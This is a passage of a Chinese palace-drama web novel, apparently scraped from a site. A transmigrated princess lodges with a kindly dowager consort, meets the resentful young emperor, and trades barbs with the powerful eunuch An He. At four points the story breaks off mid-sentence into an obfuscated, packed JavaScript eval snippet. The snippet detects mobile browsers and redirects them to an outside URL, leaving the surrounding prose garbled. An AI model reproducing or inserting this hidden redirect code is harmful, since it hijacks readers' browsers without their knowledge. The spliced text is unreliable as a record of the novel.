“可见,安公公常常说的在理,陛下也会时时取纳安公公的意见呢。”
太后娘娘,您可要努力了。
您的儿子更加听外人的话呢。
“你!”
周明熙登时眼睛睁大,她不曾想这样一个罪人竟有这样的胆子在她和皇帝面前口无遮拦。
一旁的安和则敬业地扮演着一个普通奴才的角色,并未插手二人对话。
是的,赵凉絮敢这样说,自然是因为安和在一旁。
他现在并未斥责赵凉絮,那便是证明赵凉絮说的在理,说的他受用。
李瑛希望赵凉絮进宫,无非是想在赵凉絮面前展露自己如今的尊贵威风。
可太后的恶意无故而来,排除了赵凉絮本身的缘故,那就是旁人了。
安和控制着皇帝,自然也证明他控制着太后。
太后对安和有敌意。
而安然在安和府中活下去的赵凉絮,就理所当然地被太后视作了眼中钉。
周明熙在赵凉絮说出下一句话之前摆了摆手,半遮着脸哀叹:
“唉,我有些累了,既然我儿功课尚未巩固,那便让他快些去巩固吧,安公公也将赵公主带下去安置吧。”
说罢便阖上眼睛不再理人。
赵凉絮无辜看向安和。
安和斜了她一眼,甩了下拂尘:“那太后娘娘便歇息吧。”
李瑛看起来还不愿离开。
“陛下,想要成为一个合格的君主,必然是要舍弃些玩乐的时光的。”
李瑛这才依依不舍地离开。
赵凉絮同安和李瑛出了余樾宫,李瑛甚至有些舍不得安和。
但依旧坐上龙轿,由他人伺候去了。
待到“起轿”的声音被一个老太监喊着,脚步声渐远,余樾宫内传来东西倒下的闷声。
是有人在砸东西。
安和轻笑一声,并不理会。
“走吧。”
带着高兴情绪的沙哑声音传到赵凉絮耳边,安和在和她说话。
“我去哪?回去?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042309|178833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“回去?你想得倒是挺美。”
赵凉絮看着安和的背影,他像其他她见过的宫女太监那样,走得很规矩。
但又不太一样,奴才的后背是弯的,头是深深低下的,她们在宫中日夜惶恐。
而安和后背则挺得很直。
一副目中无人的样子。
记忆中有他罚跪的背影,那时他的背是直的,头是弯着的。
他曾经也是像宫中的其他奴仆一样卑躬屈膝地过日子吗?
安和现在很开心。
他似乎是因为赵凉絮刚刚的所作所为而被逗笑了。
看到这个所谓的太后吃瘪,他很开心吗?
赵凉絮快步走到和安和并排的位置,侧过身子看着他。
他的侧脸依旧挂着那副恶鬼般的妆容。
这个人曾经是什么样的?
赵凉絮真正萌发了对安和的探究欲。
就像安和因为赵凉絮最初那副满不在乎、毫不恐惧的表情而萌发了好奇,选择留下她,而非杀了她。
赵凉絮来自现世的灵魂,带着来自现世的故事,令他感到有趣。
她也能充分利用自己身份的价值,谋取最大限度的自由活动。
而现在,赵凉絮很想知道安和,这个阉人,到底是一个什么样的人。
安和呢?安和将拂尘拦在赵凉絮身前。
“什么胆子,还来和咱家并排走了。”
他现下心情颇好,语气中并没有太多责怪。
赵凉絮将手轻轻压在拂尘上,说道:“安公公拂尘真是好看,从前从未见你拿着过呢。”
这拂尘的木柄上还雕着花纹,尾部嵌着圆润透亮的玉石,好看得紧。
安和嗤笑一声:“没见识。”
他将拂尘往回拽,赵凉絮一时不注意,被拂尘带了过去,肩膀撞在安和身上。
安和脸上有些抽搐。
他厌恶别人主动同他有肢体接触。
安和伸出一根手指,按着赵凉絮额头往边上推。
又掸了掸衣服,拿出一张做工精美的帕子开始擦手。
死阉人。
赵凉絮又在心里骂他。
安和一边擦手一边上下打量赵凉絮,今天他倒是心情好并未多跟赵凉絮计较:“念及你今天的表现叫咱家还算满意,咱家就不为难你了,咱家这些天在宫中呆着,你也别想回去,你去住在陆太妃的偏殿里。”
“那竹木呢?我不回去她可是会很担心。”
赵凉絮想到了家中苦苦等待自己的竹木。
“哟,没发现你是这样会照顾人的主呢,还惦记着跟你认识没几天的奴才。”
他可是知道赵凉絮这具壳子里的人,跟竹木并不相识。
“我自会让人回去通知一声。”
安和算是回答了赵凉絮,顺便不耐烦地将帕子扔给了她。
听到这个回答,赵凉絮心放下了,毕竟竹木很单纯,今天她若是不知道赵凉絮情况,只恐脑子里胡思乱想。
连带着她看安和都顺眼了些。
但是这手中的帕子,太监的帕子......她就这样拿着,这对吗?
安和漫不经心说了一句:“干净的,擦完手便脏了,你给咱家扔了。”
赵凉絮又低头看了眼,是素色帕子,与昨晚安和在书房擦手用的并非一张,还真是新的。
真是浪费,不知他已经丢过多少帕子了。
赵凉絮又张了张嘴,但是没出声。她倒是还想问皇帝和太后的事,但走在宫道上,明晃晃谈论这些不太好。
她一边思考着一边慢了步子,又退到安和后边去了。
12. 太妃
赵凉絮和安和二人走在宫道,免不了有宫人路过。
几乎每一个宫人老远见到拿着拂尘的瘦高身影,便直直站在一旁,不敢抬头看一眼,只等待着二人过去。
更有甚者直接撂下手上的东西,跪了下去,身子抖成筛子。
阖宫的人对安和怕的厉害。
这与张盛的威风实在不同。
赵凉絮真快要相信,安和会将乱说话的宫人拖下去砍了。
他那个阴晴不定的脾气真有可能做出这种事来。
二人走到太妃的宫殿后,安和交代了几句,就甩了甩拂尘离去了,徒留赵凉絮与太妃几人面面相觑。
这位太妃才是赵凉絮心目中的前朝老人的模样,她年龄约莫五十左右,耳边爬上了白发,眼角也有遮不住的细纹,但依旧难掩旧时风韵。她整个人素净平和,不同于太后宫中身上处处的违和感,这个太妃才像是真正的避于世。
几个较小的宫女躲在殿内不敢出来,冒出来几双眼睛看着太妃和赵凉絮。
“太妃贵安。”
住在人家屋檐下,要对人家礼貌些。
太妃一脸复杂地看着赵凉絮,良久叹了口气:“孩子,听你从太后娘娘那出来,陛下和太后可有刁难你?”
她并没在意赵凉絮是否回答,而是像太后那样朝赵凉絮递上了手,轻轻握住了赵凉絮的手。
“你的手太凉了,身子还没养好吧?我叫女官再来帮你看看。”
太妃的手很温暖很柔软。
她拉着赵凉絮到了里屋,叫躲着的小宫女去收拾屋子。
“安公公并未提前告知我,偏殿许久未曾住人了,还是要等一等,收拾出来再住——我的大宫女净淑去叫女官了,唉,你这孩子,手怎么这样凉。”
赵凉絮听着太妃絮叨,问她:“太妃娘娘,您叫什么名字?”
太妃被这个问题愣了一下,没想到赵凉絮开口第一句是问她的名字,她思索片刻,摇摇头笑道:“你还是这些年来第一个问我名字的人,我都要不记得了。”
“我的名字啊......叫许华月。”
赵凉絮回以笑容:“很好听的名字,太妃娘娘。您比太后让我感觉亲切多了,我想我得知道您的名字。”
“真是个特别的孩子,你同传闻中不太一样呢。”
许华月被逗笑了。
传闻啊,赵凉絮心中有些闷。
所有人都讨厌过去那个她。
是原身在难过吗?
“太妃娘娘,若我和从前一样呢,也是很让人生厌的。”
许华月拍了拍赵凉絮的手,说道:“怎么会呢?若是我自小被送到别国,任何人都会不得已的。离开了父母......”
她停住了,北周已经亡国了,现在的赵凉絮彻底孤身一人了。
虽然许华月只说了这样几句,但赵凉絮心中的闷痛渐渐消失了,那个孤独的坏孩子,也只是希望能够得到他人的安慰。
许华月不再问些其他问题了,纵使她心里有许多话想说。
她只是摸着赵凉絮瘦的能摸到骨头的手腕,不断摩挲着。
能问什么呢?
好孩子,你是怎么逃过来的?路上只有你一个人,怎样跋涉千里回来的?
外界的传闻可是真的?
你在安公公那里,又是如何安然待下来的呢?
每一个问题,都像中伤。
她怕伤到赵凉絮。
直到女官过来,许华月放开了赵凉絮的手,让女官诊断。
女官名为邱澄,在宫中算是一顶一的女医,女医并无确切官职,因先帝宠信宦官,宫中六局已逐渐凋敝,如今宫中为官的女性统一称为女官。
寻常女子病症实在不合适让太医瞧的,都会叫邱澄来看看。
赵凉絮瞧着她容貌普通,面无表情略显疏离,不是宫中许多人似的做派,倒是让人觉得舒适。
邱澄手搭在赵凉絮的脉搏上,眉头皱了又皱,欲言又止。
“怎么了吗?我觉得我恢复的还挺好的。”
赵凉絮疑惑地问,她实在是认为自己的体质还不错,身上的小伤痕都恢复了七七八八,重一些的伤痕已经结疤,唯有身体容易疲惫。
“没关系的,快些说吧。”
邱澄点了点头,说道:“赵公主身上的刮伤都无伤大雅,恢复的很好,只是内里脉搏虚弱,近来可否常常晚睡,可有嗜睡疲惫之症?”
“有的。”她这几天都被安和押在书房练字到很晚,还以为只是她自己贪睡呢。
“不知赵公主可否撩起衣裙,让我对症下药?”
赵凉絮没什么好害羞的,利落配合邱澄。
许华月则让宫女们都出去。
邱澄检查过后皱着眉多看了赵凉絮几眼,有些惊讶也有些气恼地说:“为何伤得这样严重,竟不曾受过什么好的治疗!”
是一个医生对病人的不争气而愤怒。
她思索片刻,拿出纸笔,一边写药方一边嘱咐:“赵公主因天生体质原因外伤的确恢复得不错,可长久未摄入营养损耗过多,内里实在亏空,嗜睡疲惫便是征兆。现下虽是不显,但时间久了定是不行,需得用温和的药方长久补着。另外你这伤…着实严重!你……”
邱澄似呵斥一般说着赵凉絮的病情,抬头看了一眼赵凉絮,却又有些犹豫。
“赵公主可还有生育打算?”
赵凉絮被口水呛得咳嗽。
“没有。”
邱澄还算欣慰的点头:“那就好,先前看过赵公主病的许是男子,男子在妇科上的确是多有不便,赵公主的病症未被仔细诊断想来也正常,但那庸医也忒没本事。你的伤处需得内服外敷,再耽搁不得,且你身体根底损的太严重,没个三五年是养不回来的,五年之内你的身体不适合有孩子——不过若是你一直跟着九千岁的话,这个就不用考虑。”
谁要有孩子啊。
“并且,”邱澄停顿了一下继续说:“我不知你同九千岁是何情况,我不好说些什么,但你必须按时吃药敷药,我见你也不是什么迂腐害羞之人,药记得好好敷。”
邱澄一副我的话都说完听不听随你的表情,将写好的药方递过去。
赵凉絮睁大眼睛,还在消化邱澄的话。
什么叫她和九千岁的情况?
邱澄又强调了一句:
“一定记得按时用药。”
而太妃则是担忧地看着她。
赵凉絮觉得自己可能跳进黄河都洗不清。
也是,任谁都不敢相信,九千岁目前只是个好为人师的神经病而已。
赵凉絮一脸无奈回看太妃,尝试解释一句:“太妃娘娘,别担心,我什么事都没有。”
解释很苍白。
太妃叫净淑随邱澄去取药,而她则亲自领着赵凉絮去已经收拾好的偏殿。
将她安置在偏殿后,许华月忽然说:“凉絮,我自是相信你的话的,安公公曾经在我宫中伺候过一段时间,依我看,虽说如今他已变了许多,至少还是听得进去话的,你若是说不动他,我便帮你说说。”
赵凉絮忙摆手说不用。
不过她听到了什么?
安和曾在太妃宫中伺
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042310|178833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
候过。
赵凉絮表示想了解这一部分故事。
但许华月并未多说,只是让赵凉絮歇息会,一会儿午膳再叫她。
说完便离开了。
而赵凉絮一个人心痒痒的想知道刚刚许华月透露出来的小故事。
曾经安和是什么样的?
想着想着,困意上来,赵凉絮渐渐睡了过去。
再醒过来已是黄昏。
赵凉絮一脸茫然地看着外边的昏黄的落日。
怎么一觉睡到了这时候?
门外守着的宫女听到了屋内的动静,敲了敲门小声问道:“赵...公主,醒了吗?”
赵凉絮回应了一声。
宫女打开门欠身说道:“娘娘知晓姑娘今日这样早进宫,昨晚定没睡好,于是没让奴婢们叫你,正好姑娘赶上了晚膳,请去娘娘屋中用膳吧。”
赵凉絮这才觉得肚子饿了,跟着小宫女去用膳。
许华月正坐在桌边,桌上是刚刚布好的菜。
全是些清淡的菜品,简单却丰盛。
“快来坐下吃。”许华月招呼着赵凉絮。
“我叫厨房做了些养身子的菜,你午膳没吃,晚上可要多吃些——净淑,你去和小清她们去吃吧。”
净淑笑着应答,退了出去。
“我宫中也没那么多规矩,素日都是让净淑和其他人一同陪我用膳,不过今日担心你怕生,我便让她们去他们自己那另摆了一桌。”
说着,她用筷子朝赵凉絮碗里夹了些肉。
“多吃点肉,你太瘦了。”
赵凉絮确实是饿了,十分快速地扫荡了一碗饭。
她也从没有感受过这样细雨般的关怀了。
“太妃娘娘,您真的很好。”
赵凉絮刚吃完,方才那个领她过来的小宫女就端来了一碗药。
“娘娘,我吃的快,于是就向净淑嬷嬷讨要了这个活,这是赵公主的药。”
小宫女古灵精怪的,白日还怕的躲在门后,但终究抵不过好奇心,想来看看这个“赵公主”。
小宫女就在一旁看着,站的规矩,但眼睛乱飘。
“小清,你这丫头。”
太妃嗔怪一声,但也随她去了。
“你瞧,我这老太婆宫里尽是些调皮的主,除了净淑同我在宫中待久了,稳重些,其他年轻的丫头总是活蹦乱跳的,没一点规矩。”
许华月嘴上怪罪着“没规矩”,但语气里尽是宠溺。
“我也算是前朝的老人了,如今就在这宫中养老,实在无趣的很,平日里宫女们陪我解闷,尤其小清这丫头,好玩的很。如今你来暂住几天,我也图个新鲜劲。”
她笑着解释。
小清听到许华月又怪罪又夸赞的话,倒是害羞的低下了头。
赵凉絮一边喝着苦药一边听许华月的“抱怨”,自觉这样的日子还不错。
许华月话锋一转:“倒是你啊,凉絮,我虽才见你不久,但我在宫中呆久了也有些识人的本领,你是个好孩子,可你日后就跟在安公公身边吗?”
她话中不免带着些忧虑。
“许是我年纪大了也爱操心,你若是愿意,安和在我宫中待过,他兴许也愿意听我几句话。叫你在宫中住下,或是实在不行,让他善待你一些也是好的。”
小清也在一旁只点头,表示认同。
赵凉絮从未见过像许华月的人。
这样真切的释放善意。
即使她们今天才认识。
这倒是让赵凉絮一时不知道说些什么。
良久她才开口。
13. 劝阻
“谢谢太妃娘娘,但您也知道我的身份,我是北周的皇女,一个异国的人,想来您也知道我这样的身份是大有用处的,安公公必然不会轻易将我放手。我对他来说还有用的很。”
赵凉絮宽慰着许华月。
“若要说善待,那还真得劳烦您帮忙说几句,至少我可以在安府养好身体。”
许华月有什么话想说。
“还有,其实安公公并未做过女官所言之事,他这人着实奇怪,我也常常不知何时就触怒了他,他便打着教我练字读书的旗号让我抄字学习,算作惩罚,不过的确,他并非那种心思扭曲的太监。”
赵凉絮从来就是有什么说什么,正巧她现在对安和有了点兴趣,自然不会说什么污蔑的话,她倒希望这样的话能帮她引出些同安和相关的事。
至于多次起了想杀她的心,这种事情不说也罢。
不过要是她以后有机会,也得想办法让安和尝尝这滋味的。
许华月若有所思,说道:“还真是我心思龌龊了,你也知道,我在宫中待的久了,也不免多些心思——还有,你也不要隐瞒什么,他如今变成什么样我心里门清,你必然在安府不好过。”
善良归善良,能在宫中算是宫斗成功的人必然有其本事在。
“唉,罢了,你在这住几天就是了,到时候安公公若让你回去了,我便替你说几句话。”
赵凉絮趁此时机追问:“太妃娘娘,安公公他曾经如何,如今又为何变成了这样?”
听了这话,许华月脸上竟是多了些纠结的表情,她叹了口气:“这事情我依旧是不能告诉你,否则就算你还对安和还有用处,他也必然会杀了你,他太过聪明了,你若知道这件事,他一定能看出来。”
“除了这件事,你都可以问。”
赵凉絮心中有些遗憾,但对安和更为好奇了。
她也并未再多问,转而问起太后。
“太妃娘娘,我见太后娘娘很是年轻,却显得沉郁。曾经在宫中也从未见过她,可她同我一见面便是不喜欢我,您可知道些缘由?”
许华月弹了一下赵凉絮额头:“你倒是死精,问的都是些刁钻问题,我收回夸你好孩子的这句话。”
“不过这件事倒算是宫中人尽皆知的事,告诉你也无妨。”
赵凉絮做出洗耳恭听的姿势。
“太后娘娘的确年轻,她今年不过二十七岁,十年前方一入宫便承了恩宠,她也是个好命的,入宫没多久便诞下皇子。”
可为何从未听过她的盛宠之名?
赵凉絮摆出疑惑的表情。
许华月叹了口气:“归根结底还是因为她的出身,罪臣之女还能入宫便已是极大的幸运,即使诞下皇子,她的身份也上不得台面,同许多其他的琴女歌女入了后宫一般,泯然于后宫。”
她喝了口茶,继续说:“你也知道,即使生下皇子,可当初已有几近成年的太子,先皇子嗣众多,陛下当初根本出不得头,她们母子在后宫也因当初的宠爱而遭到其他妃嫔的不满,如此这般,失了宠爱的皇子与妃嫔,你是北周的皇族,也曾在宫中待过,自然该知道皇家后宫是什么样的。”
确实,能想到她们的处境。
“只是,这与太后娘娘的不喜又有何干?”赵凉絮又问。
“这点我倒是不甚清楚,只知道她常常牵连与安和有关的人,许是安和威胁了他什么。”
这倒是与赵凉絮猜的差不多,果然是因为安和的缘故。
否则她与太后并无牵扯,怎么就讨厌上了她?
只是这个年轻的太后,处处存在违和感。
看着年轻却表现的死气沉沉,余樾宫周围种上了诸多草木似乎是在追求宁静,但华丽的宫殿外表却又显得格格不入,装作吃斋念佛般沉静却能轻而易举被激怒。
很奇怪。
想必还有什么隐情,只是这便不是赵凉絮一时能知道的了。
赵凉絮又同许华月问了些其他有的没的,倒是逗的许华月很是开心。
聊的差不多的时候,许华月催着赵凉絮早早去睡,省的伤了心神。
而接下来几天,赵凉絮一直没见到安和,只是每日听宫女闲聊朝上谁谁又不满安和行事,大举弹劾,但耐不住皇帝信任他,李瑛手一挥只当大臣们全是污蔑。
总感觉已经看得到这个国家完蛋的命运了。
皇帝年幼,宠信奸宦,太监掌权。
赵凉絮都好奇,北周竟是这样弱小,连这个顶层掌权者都乱成套的南周都打不过,还被灭了国。
也是废物一个。
这几天赵凉絮过得很是安逸,许华月对赵凉絮甚是满意,觉得她是一个懂分寸很聪明的孩子。
赵凉絮还和太妃宫中的宫女打成一片。
从小清到小雨,年龄小的宫女最喜欢跟她玩,毕竟赵凉絮肚子里的那些知识故事随便改变一下就能让几个小女孩听得如痴如醉。
甚至于当恶名在外的安和前来接她时,这几个小宫女都没有躲在宫内,反而是站在太妃后边瑟瑟缩缩但是依依不舍地朝她挥手。
安和冷笑一声,吓得几个小宫女直哆嗦。
“你倒是有本事,才在太妃这待几天,几个宫女待你和亲人似的。”
赵凉絮一脸无畏地说:“想来是我待人和善。”
安和懒得听她瞎编,他虽与赵凉絮相处不久,但赵凉絮怎么看也不像所谓的“待人和善”。
她的心,恐怕冷着呢。
“装。”
赵凉絮总腹诽安和装,却不想安和也实在觉得她也能装。
真是倒打一耙。
“那安公公,你这是要送我回去了?”
“你想得倒是美,咱家还没下值你就想回去?你自然是跟咱家去陛下那候着。”
正当安和带着赵凉絮准备离开时,许华月出声说:“安公公且慢,前几日宫人送来的布匹似乎数目对不上,可否请安公公来看看?”
安和顿住了。
他才想说这事让奴才去办,忽然撇到了一旁仰头看树的赵凉絮。
心中了然。
必然与赵凉絮脱不了干系,否则太妃怎么会说这样没头没尾的话?
“那你就在外边等会吧,赵、公、主。”
他特地点名了赵凉絮。
你的小心思咱家可都知道。
赵凉絮从欣赏红叶中回了身,冲着安和挑了挑眉。
待安和同太妃去了库房后,小清小雨等人才敢围了上来。
“赵姑娘,你不得不跟着、跟着他吗?”
小清连九千岁的名讳都不太敢提,就挤眉弄眼得用“他”替代。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042311|178833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“别担心,我本事大着,自然能过得好好的。”
赵凉絮分神宽慰着她们,一边朝着树走去。
前几天这树叶还没有这么红。
小清与其他几人对视,赵凉絮分明没仔细听她们说话!
这人哪都好,处处懂礼貌还会讲故事,平日里同她们处的亲近,但就是总让她们觉得这人似乎对什么都不太关心。
只一心关注她想关注的。
她们快要担忧死赵凉絮了,可赵凉絮还有闲心赏树!
赵凉絮发觉眼前这树不光生的红叶好看,树干也粗壮,上边的树枝粗的也能搁下一个人躺在上边。
唉,不知躺在上边边看书边看风景有多好呢。
赵凉絮试探性的摸了摸树干。
可惜她这小胳膊小腿,从未练过什么攀树技巧,很难爬上去。
“小清,你爬过树吗?”
赵凉絮没来由得说了一句。
惹得小清也一时无语。
“我怎么可能爬过,宫中可不让做这种出格的事——哎呀赵公主,你这人真是!”
赵凉絮遗憾地摸着树干,一脸惋惜。
而安和怀着一肚子讥讽的话从库房出来看到赵凉絮时,就发现她莫名其妙地冲着一棵树惋惜叹气。
着相了不成?
安和古怪地看了看那棵树。没什么特别的。
宫中的老树了。
安和没好气地叫赵凉絮跟他赶快走:“咱家真不知道你一天天脑子里想的什么,真想把你砍了脑袋当球踢。”
许华月在后边咳嗽。
安和听到了咳嗽声,更恼怒了:“你到底给太妃灌了什么迷魂汤,让她替你说话!”
竟然让太妃仗着曾经的交情,只为了替她说两句好话。
若不是太妃曾经还算待他和善,他并非那种忘恩负义之人,否则换做他人,这样帮赵凉絮说话,他就算不利用赵凉絮这个身份自己麻烦些,他也得将赵凉絮连着帮忙说话的人一同砍了。
“你最好发挥好你的作用,在你还有用前我当然不会杀你,但是你要是真犯了咱家的忌讳,太妃的话也没用。”
他算是回应了太妃。
只要不犯了忌讳,他也可以让赵凉絮好好待着。
李瑛寝宫,赵凉絮陪同着安和来到了皇帝的居所。
“我在这待着有什么用?”
赵凉絮真不知道为什么安和宁可把她拉到这来也不让张盛将她送回去。
“你?你自然是跟着咱家伺候陛下。”
安和示意门外守着的小太监进去通报。
很快宫内传来一声属于少年人的大叫:“快叫安公公进来!”
安和回头冲赵凉絮说了一句:“你不是字写得挺好吗?你今日便教陛下习字。”
“???”
啊,我吗?
赵凉絮疑惑了,她才跟着安和学几天,她还是个半吊子。
“你教他改笔锋,你们两个的字都像黑疙瘩,想必赵公主在练习中必有心得,你来教他。”
还连带着我一起骂。
赵凉絮只觉得自己精神顽强,从未在安和任何阴阳怪气中感受到挫败,这多亏了她在现代上学时习得左耳进右耳出的技能。
“那安公公就瞧好吧。”
气势上不可输。
14. 刺客
李瑛原本十分兴奋安和的到来,结果发现还有赵凉絮,表情一下子凝滞。
他紧紧攥着手底下的纸,原本急切的表情变得有些嫌弃:“安公公,为什么她也在。”
安和并未直接回答这个问题,而是弯着身子凑在李瑛旁低声提醒:“陛下作为明君,将来是要流传千古的。”
“那是自然,可与她何干?”李瑛死死盯着赵凉絮。
一脸不虞。
赵凉絮不卑不亢的神色让李瑛感到气愤。
她如今的身份处境,凭什么不怕朕?
“那陛下若要流传千古,字画等都会留有后人观摩,您说是吧?”
李瑛倨傲地抬起头,回道:“自然。”
“那便需要陛下在字体上下功夫了,陛下如今的字尚显稚嫩,即使是这样的细微末节,陛下也得用一番功夫才对,这样后世才会传颂陛下德才兼备。”
安和的话有些说动了李瑛。
李瑛打量赵凉絮几眼,他似乎也是知道赵凉絮来干嘛的了。
但他依旧不忿,语气稍微缓和地问了一句:“就她?我曾经可是在书堂见过她有多不爱听夫子讲学。”
李瑛十分质疑。
“她能教我?”
“为何要她教我?”
“何故需她来教我?”
李瑛一连三句疑问,将对赵凉絮的蔑视抖的干干净净。
赵凉絮也不恼,只是露出一副得体的笑容。
“陛下不妨试试呢?”
安和招呼赵凉絮过来,在她眼前放上纸和笔。
她连墨都只是胡乱研了几下,毛笔沾了几下就开始洋洋洒洒落笔。
“你看她写得这样随意,怎么可能写好!有什么资格教我!”李瑛怪叫。
但在看到了纸上的字后渐渐沉默。
他抓起纸上看下看,又皱着眉对着赵凉絮左看右看。
“怎么可能?”
李瑛沉默片刻,忽的“咦”了一声,又疑虑对着安和说。
“她的字和你的好像,安公公。”
赵凉絮笑而不语。
她或许是个普通人,可普通人也稍有专长,真是巧了,她最擅长的就是模仿,往往能人异士对某个领域自有独到的心得体会,而她虽对此类心得体会不得要领,却能靠观察他人一动一静,模仿个七七八八。
她观察安和的写字姿势,尤其是手中的动作。
她几乎完全精确地辨析安和下笔的角度不同手指的力度和配合,笔尖在纸上的受力,她天生擅长这样。
即使赵凉絮凭借自身无法创造出什么独属于自己的“xx体”,但她大可以无限接近于那个最优秀的例子。
李瑛还是疑惑,他狐疑地看了两眼赵凉絮,将纸拍在桌子上。
“那你告诉我,怎么写,我就不信你能写得出来我就写不出来!”
赵凉絮点了点头,但是没动作。
“你为何不动?”
李瑛语气急切。
他希望学会。
“陛下既然是求学,总不能摆出一副高傲的姿态吧,要对老师有基本的尊重。”
赵凉絮有理有据,看得安和眼角抽动。
他先前怎么就未曾发现赵凉絮这么蹬鼻子上脸,还敢对皇帝提要求。
虽说赵凉絮也常常和他对着干,他也只当是赵凉絮不曾在这个世界过得太久,不懂尊卑的规矩。
他虽叫京城宫内的人害怕,甚至过于李瑛,但之于赵凉絮,他到底是个太监,本以为是她仗着无知冒犯她,也不应该不知道皇帝的威名。
毕竟她也曾讲,她们的世界也有过皇帝,既然如此应当知道忤逆皇帝的下场。
如今看来,她简直一视同仁。
看着规规矩矩,实际上比谁都敢说。
李瑛也是被赵凉絮的口出狂言惊到了,他想不出赵凉絮这样得寸进尺。
他想叫人把赵凉絮拖下去,又下意识看向安和。
安和手抚拂尘,屈着身子示意。
“陛下,此事无关痛痒,不是吗?”
李瑛不动,只是眼睛看向安和方向,他思索一会装作大方的说:“罢了,既然安公公都这样说,那我让让你又何妨。”
只不过让他挤出那两个字还是显得为难至极。
“……老师,你教我。”
他咬牙切齿蹦出来几个字。
赵凉絮不曾贪多,能低头叫她一声老师也实属不易了。
看他那副不情不愿的样子,哪里还有前几日嚣张的要扇她的作态?
赵凉絮嘴角勾起几分,倒是狐假虎威了。
狐假虎威的威也是威。
赵凉絮和李瑛一同跪坐在书桌旁边,她并未藏着自己的本事,倒也没什么可藏的,只是让李瑛注意手腕角度和发力。
一般练字也该注意这些,她所教的不过是多了些步骤,比如:起笔时手指要发几分力,手同纸面的角度要精确到多少,写上一横要眨几次眼等等。
安和本想趁此机会知道赵凉絮如何进步神速,可他越听越不对劲,听得眉头紧皱。
这哪是什么技巧,这分明是邪魔外道!
安和紧急叫停赵凉絮,此时赵凉絮和李瑛正沉浸在教学的氛围当中,一个教的认真,一个学的认真,后者还不时恍悟惊呼,已然一副打开新世界大门的模样。
安和一个头两个大,坚决不叫赵凉絮再多嘴一句。
他眉头抽动,抬声吩咐外边的人进来伺候,而他则亲自去请老太傅过来,结束这场短暂的闹剧。
“赵凉絮,你老实在这呆着。”安和念及有其他人伺候,谅赵凉絮也做不出什么出格事来,只警告了一句便离开。
自殿外进来两个太监打扮的人,垂头小步走到李瑛旁,将笔墨纸砚先收了。
李瑛皱眉:“怎么就收了?朕还要练字。”
“回陛下,安公公吩咐奴才,陛下还是跟着太傅练字,暂且收了纸笔是免得陛下继续用错误的方法习字。”
此时赵凉絮将视线挪到一旁,装作无所事事。
“真是的,果真是白叫你一句老师。”李瑛咕哝,斜了赵凉絮一眼。
如今没了安和束缚,李瑛对赵凉絮又开始哪哪都看不顺眼。
他眼睛一转,嚣张跋扈的劲又上来。
“赵凉絮,你对安公公到底有什么用,叫他没第一时间杀了你。”李瑛直白地问。
他站起身来绕着赵凉絮转了两圈,当真好奇。
可他却不敢随意打骂赵凉絮,他看得出来,安和有些刻意地让赵凉絮活着,在宫里头走一趟露个脸。
他还是有些怕安公公的。
赵凉絮倒是觉得这个小皇帝略有些敏锐,一语道出关键。
可
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042312|178833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不是于安和有用?
至于有什么用,又何必让小皇帝知道?
赵凉絮起身去倒一杯茶,装模作样伺候李瑛一下。
“自然是太妃娘娘同我一见如故,借了太妃娘娘几分薄面,安公公也不会为难我。”
李瑛接过茶水,只觉得赵凉絮还是懂几分礼数,有些受用。
至于承了太妃娘娘的情,他也听下边奴才说过,近几日赵凉絮住在太妃娘娘寝宫里,倒是不假。
他抬了抬头,哼了一声:“你还真是懂得媚上,朕还以为你变了性情,想来还是跟以前一样,连淳华太妃都被你讨好。”
李瑛觉得和赵凉絮谈的有些无趣,又指着一旁的太监,叫他将自己的话本拿来。
“这......陛下,太傅很快就来了。”小太监头冒冷汗,一会太傅和安公公回来,若是看见陛下拿着话本,遭殃的得是他俩。
伺候的太监摆出一副可怜样,求李瑛宽恕。
李瑛直接翻了个白眼,丝毫没有帝王威严,他无聊想看个话本都不行,只想上去踹太监几脚。
这时,李瑛听到了开门的声音,李瑛只当是安和回来了,也不管太傅来没来,连嚷着叫安和给他拿话本。
